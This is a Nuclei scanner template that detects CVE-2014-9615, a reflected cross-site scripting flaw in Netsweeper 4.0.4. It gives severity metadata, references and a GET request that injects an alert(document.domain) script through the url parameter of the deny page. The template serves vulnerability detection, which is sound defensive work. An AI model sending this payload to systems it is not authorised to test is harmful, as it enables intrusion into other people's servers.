CVE-2014-9615: Netsweeper 4.0.4 - Cross-Site Scripting

id: CVE-2014-9615

info:
  name: Netsweeper 4.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9615
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9615
    cwe-id: CWE-79
    epss-score: 0.04121
    epss-percentile: 0.90277
    cpe: cpe:2.3:a:netsweeper:netsweeper:4.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,xss,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ce9d97c38ce09af19be6d7d9544eed0127e846ec4c7d37710ed02d1af760efc602204fb8fd3d65ae5f66d4b77e86a9a960a45d8f9b28e519451d62feb53969f6c36d:922c64590222798bb761d5b6d8e72950

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